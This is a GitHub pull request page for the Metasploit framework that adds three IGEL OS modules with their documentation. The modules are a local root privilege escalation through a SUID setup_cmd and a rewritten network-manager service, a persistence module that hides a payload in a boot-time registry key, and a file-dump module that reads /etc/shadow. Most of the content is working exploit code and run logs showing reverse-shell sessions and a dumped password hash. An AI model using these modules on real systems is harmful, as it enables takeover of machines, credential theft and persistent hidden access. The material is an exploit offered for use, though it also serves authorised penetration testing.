-
Notifications
You must be signed in to change notification settings - Fork 14.6k
IGEL OS modules #20702
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
+498
−0
Merged
IGEL OS modules #20702
Changes from 5 commits
Commits
Show all changes
22 commits
Select commit
Hold shift + click to select a range
f29505d
Add IGEL OS modules
Zedeldi 1436803
Strip first line and quotes
Zedeldi c37f787
Add documentation for IGEL OS modules
Zedeldi 796d941
Code formatting changes
Zedeldi c6db0d4
Move IGEL OS persistence module to linux/persistence
Zedeldi 22aead0
Use vprint_status for modify_service and restart_service
Zedeldi beed317
Use create_process instead of cmd_exec
Zedeldi bc2c397
Add check for root access to igel_persistence
Zedeldi 8d28ce6
Revert to cmd_exec for modify_service and improve code style
Zedeldi ba702d4
Remove x86 target and redundant DefaultOptions
Zedeldi b131378
Add IGEL OS and vulnerability summary to documentation
Zedeldi dc9eddc
Use store_loot for igel_dump_file
Zedeldi 425adfa
Prefer create_process over cmd_exec for commands with arguments
Zedeldi c0a756a
Verify registry has been written successfully
Zedeldi da33eed
Use fail_with instead of a check method
Zedeldi 0c4d1e7
Add support for ARCH_CMD payload
Zedeldi 002795c
Update module information in documentation
Zedeldi 933fb7b
Add clean-up information
Zedeldi ffaf43a
Add writable? and file? checks to write_payload
Zedeldi ce926fd
Update vulnerable IGEL OS version to < 11.09.310
Zedeldi 4b2798f
Correct vulnerable version information
Zedeldi d1fe177
Add check methods and update DisclosureDate
Zedeldi File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
38 changes: 38 additions & 0 deletions
38
documentation/modules/exploit/linux/local/igel_network_priv_esc.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,38 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| IGEL OS < 11.10.100 with a `shell` or `meterpreter` session. | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.100 host | ||
| 2. Use: `use exploit/linux/local/igel_network_priv_esc` | ||
| 3. Set: `set SESSION <id>`, replacing `<id>` with the session ID | ||
| 4. Set payload options, e.g. `LHOST` | ||
| 5. Exploit: `run` | ||
| 6. A new session is created as root | ||
|
|
||
| ## Options | ||
|
|
||
| None. | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ``` | ||
| msf exploit(linux/local/igel_network_priv_esc) > set SESSION 1 | ||
| SESSION => 1 | ||
| msf exploit(linux/local/igel_network_priv_esc) > set LHOST 192.168.56.1 | ||
| LHOST => 192.168.56.1 | ||
| msf exploit(linux/local/igel_network_priv_esc) > run | ||
| [*] Started reverse TCP handler on 192.168.56.1:4444 | ||
| [*] Uploading payload to target | ||
| [*] Writing config to target | ||
| [*] Applying service config | ||
| [*] Restarting service | ||
| [*] Sending stage (3090404 bytes) to 192.168.56.7 | ||
| [+] Deleted /tmp/WHQCVmDB | ||
| [+] Deleted /tmp/fylZWXSF | ||
| [*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.7:51938) at 2025-11-17 16:00:48 +0000 | ||
|
|
||
| meterpreter > getuid | ||
| Server username: root | ||
| ``` | ||
34 changes: 34 additions & 0 deletions
34
documentation/modules/exploit/linux/persistence/igel_persistence.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,34 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| IGEL OS with a `shell` or `meterpreter` session. | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Get a `shell` or `meterpreter` session on an IGEL OS host | ||
| 2. Use: `use exploit/linux/persistence/igel_persistence` | ||
| 3. Set: `set SESSION <id>`, replacing `<id>` with the session ID | ||
| 4. Set payload options, e.g. `LHOST` | ||
| 5. Exploit: `run` | ||
| 6. The payload is executed on next boot/login (dependent on `REGISTRY_KEY`) | ||
|
|
||
| ## Options | ||
|
|
||
| | Name | Description | | ||
| | ------------- | ------------------------------------------------------- | | ||
| | REGISTRY_KEY | Registry key to use for automatically executing payload | | ||
| | REGISTRY_ONLY | Set whether to store payload in registry | | ||
| | TARGET_DIR | Directory to write payload | | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ``` | ||
| msf exploit(linux/persistence/igel_persistence) > set SESSION 2 | ||
| SESSION => 2 | ||
| msf exploit(linux/persistence/igel_persistence) > set LHOST 192.168.56.1 | ||
| LHOST => 192.168.56.1 | ||
| msf exploit(linux/persistence/igel_persistence) > run | ||
| [*] Started reverse TCP handler on 192.168.56.1:4444 | ||
| [*] Uploading payload to /license | ||
| [*] Writing persistence to registry | ||
| [*] Exploit completed, but no session was created. | ||
| ``` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,43 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| IGEL OS < 11.10.100 with a `shell` or `meterpreter` session. | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.100 host | ||
| 2. Use: `use post/linux/gather/igel_dump_file` | ||
| 3. Set: `set SESSION <id>`, replacing `<id>` with the session ID | ||
| 4. Optionally, set `RPATH` | ||
| 5. Run: `run` | ||
| 6. Contents of file is displayed | ||
|
|
||
| ## Options | ||
|
|
||
| | Name | Description | | ||
| | ------------- | -------------------------- | | ||
| | RPATH | File on the target to dump | | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ``` | ||
| msf post(linux/gather/igel_dump_file) > set SESSION 1 | ||
| SESSION => 1 | ||
| msf post(linux/gather/igel_dump_file) > set RPATH /etc/shadow | ||
| RPATH => /etc/shadow | ||
| msf post(linux/gather/igel_dump_file) > run | ||
| [*] Executing command on target | ||
| [*] Command completed: | ||
| games:!!:20409:::::: | ||
| man:!!:20409:::::: | ||
| proxy:!!:20409:::::: | ||
| backup:!!:20409:::::: | ||
| list:!!:20409:::::: | ||
| irc:!!:20409:::::: | ||
| gnats:!!:20409:::::: | ||
| systemd-coredump:!!:20409:::::: | ||
| root:$6$BEtW8dG/eZ2nHb2X$vE1ZoeP.Z00bSB6dF9PVNHB3gcT1Wh5U2WUMPDBqBwMmZg.cshgiApIXVmDk.S.RhWTxKoZbZRWyqyMyHkzby.:20409:0:99999:::: | ||
| rtkit:*:20409:0:99999:7::: | ||
| user:*:20409:0:99999:::: | ||
| ruser::20409:0:99999:::: | ||
| [*] Post module execution completed | ||
| ``` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,110 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Exploit::Local | ||
| include Msf::Post::Linux | ||
| include Msf::Post::Linux::System | ||
| include Msf::Post::Unix | ||
| include Msf::Post::File | ||
| include Msf::Exploit::FileDropper | ||
| include Msf::Exploit::EXE | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'IGEL OS Privilege Escalation (via systemd service)', | ||
| 'Description' => %q{ | ||
| Escalate privileges for IGEL OS Workspace Edition sessions, by modifying | ||
| network-manager.service using setup_cmd (SUID) and network, then restarting | ||
| the service. | ||
| }, | ||
| 'Author' => 'Zack Didcott', | ||
| 'License' => MSF_LICENSE, | ||
| 'Platform' => ['linux'], | ||
| 'Arch' => [ARCH_X86, ARCH_X64], | ||
| 'Targets' => [ | ||
| [ | ||
| 'Linux x86', { | ||
| 'Arch' => ARCH_X86, | ||
| 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } | ||
| } | ||
| ], | ||
| [ | ||
| 'Linux x86_64', { | ||
| 'Arch' => ARCH_X64, | ||
| 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } | ||
| } | ||
| ], | ||
| ], | ||
| 'DefaultTarget' => 1, | ||
| 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, | ||
Zedeldi marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| 'SessionTypes' => ['shell', 'meterpreter'], | ||
| 'DisclosureDate' => '2024-05-16', | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SERVICE_RESTARTS], | ||
| 'Reliability' => [REPEATABLE_SESSION], | ||
| 'SideEffects' => [CONFIG_CHANGES, SCREEN_EFFECTS] | ||
| } | ||
| ) | ||
| ) | ||
|
|
||
| register_advanced_options([ | ||
| OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) | ||
| ]) | ||
| end | ||
|
|
||
| def exploit | ||
| print_status('Uploading payload to target') | ||
| payload_file = write_payload(generate_payload_exe, datastore['WritableDir'], 0o700) | ||
|
|
||
| print_status('Writing config to target') | ||
| config = build_config(payload_file) | ||
| config_file = write_payload(config, datastore['WritableDir'], 0o600) | ||
|
|
||
| print_status('Applying service config') | ||
| modify_service(config_file) | ||
Zedeldi marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
|
|
||
| print_status('Restarting service') | ||
| restart_service | ||
Zedeldi marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| end | ||
|
|
||
| def write_payload(contents, dir, perm) | ||
| fail_with(Failure::NoAccess, "directory '#{dir}' is on a noexec mount point") if noexec?(dir) | ||
|
|
||
| filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}" | ||
|
|
||
| write_file(filepath, contents) | ||
Zedeldi marked this conversation as resolved.
Show resolved
Hide resolved
|
||
| chmod(filepath, perm) | ||
| register_files_for_cleanup(filepath) | ||
|
|
||
| return filepath | ||
| end | ||
|
|
||
| def build_config(payload_file) | ||
| config = <<~CONFIG.strip | ||
| [Service] | ||
| TimeoutStartSec=infinity | ||
| ExecStartPost=#{payload_file} | ||
| CONFIG | ||
| return config | ||
| end | ||
|
|
||
| def modify_service(config_file) | ||
| command = <<~COMMAND.strip | ||
| /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")' << EOF | ||
| env SYSTEMD_EDITOR="/bin/cp #{config_file}" /config/bin/setup_cmd /config/bin/network edit | ||
| EOF | ||
| COMMAND | ||
|
|
||
| script_file = write_payload(command, datastore['WritableDir'], 0o700) | ||
| output = cmd_exec(script_file) | ||
| return output | ||
Zedeldi marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| end | ||
|
|
||
| def restart_service | ||
| cmd_exec('/config/bin/setup_cmd /config/bin/network restart') | ||
Zedeldi marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| end | ||
| end | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,108 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Exploit::Local | ||
| include Msf::Post::Linux | ||
| include Msf::Post::Linux::System | ||
| include Msf::Post::Unix | ||
| include Msf::Post::File | ||
| include Msf::Exploit::FileDropper | ||
| include Msf::Exploit::EXE | ||
| include Msf::Exploit::Local::Persistence | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'IGEL OS Persistent Payload', | ||
| 'Description' => %q{ | ||
| Gain persistence for specified payload on IGEL OS Workspace Edition, by writing | ||
| a payload to disk or base64-encoding and executing from registry. | ||
| }, | ||
| 'Author' => 'Zack Didcott', | ||
| 'License' => MSF_LICENSE, | ||
| 'Platform' => ['linux'], | ||
| 'Arch' => [ARCH_X86, ARCH_X64], | ||
| 'Targets' => [ | ||
| [ | ||
| 'Linux x86', { | ||
| 'Arch' => ARCH_X86, | ||
| 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } | ||
| } | ||
| ], | ||
| [ | ||
| 'Linux x86_64', { | ||
| 'Arch' => ARCH_X64, | ||
| 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } | ||
| } | ||
| ], | ||
| ], | ||
| 'DefaultTarget' => 1, | ||
| 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, | ||
Zedeldi marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| 'SessionTypes' => ['shell', 'meterpreter'], | ||
| 'DisclosureDate' => '2024-05-16', | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'Reliability' => [REPEATABLE_SESSION], | ||
| 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] | ||
| } | ||
| ) | ||
| ) | ||
|
|
||
| register_options([ | ||
| OptString.new('REGISTRY_KEY', [ | ||
| true, | ||
| 'Registry key to use for automatically executing payload', | ||
| 'userinterface.rccustom.custom_cmd_net_final' | ||
| ]), | ||
| OptString.new('TARGET_DIR', [true, 'Directory to write payload', '/license']), | ||
| OptBool.new('REGISTRY_ONLY', [true, 'Set whether to store payload in registry', false]) | ||
| ]) | ||
| end | ||
|
|
||
| def install_persistence | ||
| if datastore['REGISTRY_ONLY'] | ||
| print_status('Base64-encoding payload') | ||
| encoded_payload = Rex::Text.encode_base64(generate_payload_exe) | ||
Zedeldi marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| command = base64_command(encoded_payload) | ||
| else | ||
| print_status("Uploading payload to #{datastore['TARGET_DIR']}") | ||
| payload_file = write_payload(generate_payload_exe, datastore['TARGET_DIR'], 0o700) | ||
Zedeldi marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| command = local_command(payload_file) | ||
| end | ||
| print_status('Writing persistence to registry') | ||
| write_registry(datastore['REGISTRY_KEY'], command) | ||
| end | ||
|
|
||
| def remount_license(opt = 'rw') | ||
| cmd_exec("/bin/mount -o remount,#{opt} /license") | ||
Zedeldi marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| end | ||
|
|
||
| def write_payload(contents, dir, perm) | ||
| remount_license('rw') | ||
|
|
||
| filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}" | ||
| write_file(filepath, contents) | ||
| chmod(filepath, perm) | ||
|
|
||
| remount_license('ro') | ||
|
|
||
| return filepath | ||
| end | ||
|
|
||
| def base64_command(encoded_payload) | ||
| payload_dest = "/tmp/#{Rex::Text.rand_text_alpha(8)}" | ||
| "/bin/bash -c '/bin/echo '#{encoded_payload}' | /usr/bin/base64 -d > '#{payload_dest}'; /bin/chmod +x '#{payload_dest}'; '#{payload_dest}' &'" | ||
| end | ||
|
|
||
| def local_command(payload_file) | ||
| command = "/bin/bash -c '/bin/mount -o remount,exec /license; '#{payload_file}' &'" | ||
| return command | ||
| end | ||
|
|
||
| def write_registry(key, value) | ||
| cmd_exec("/bin/setparam \"#{key}\" \"#{value}\"") | ||
Zedeldi marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| end | ||
| end | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,46 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Post | ||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'IGEL OS Dump File', | ||
| 'Description' => %q{ | ||
| Dump a file with escalated privileges for IGEL OS Workspace Edition sessions, | ||
| by elevating rights with setup_cmd (SUID) and outputting with date. | ||
| }, | ||
| 'Author' => 'Zack Didcott', | ||
| 'License' => MSF_LICENSE, | ||
| 'Platform' => ['linux'], | ||
| 'SessionTypes' => ['shell', 'meterpreter'], | ||
| 'DisclosureDate' => '2024-05-16', | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'Reliability' => [REPEATABLE_SESSION], | ||
| 'SideEffects' => [] | ||
| } | ||
| ) | ||
| ) | ||
|
|
||
| register_options([ | ||
| OptString.new('RPATH', [true, 'File on the target to dump', '/etc/shadow']) | ||
| ]) | ||
| end | ||
|
|
||
| def run | ||
| print_status('Executing command on target') | ||
| output = cmd_exec("/config/bin/setup_cmd /bin/date -f #{datastore['RPATH']}") | ||
|
|
||
| print_status('Command completed:') | ||
| output.lines[1..].each do |line| | ||
| line = line.strip | ||
Zedeldi marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| print_line(line.delete_prefix( | ||
| '/bin/date: invalid date ‘' | ||
| ).delete_suffix('’')) | ||
| end | ||
| end | ||
| end | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.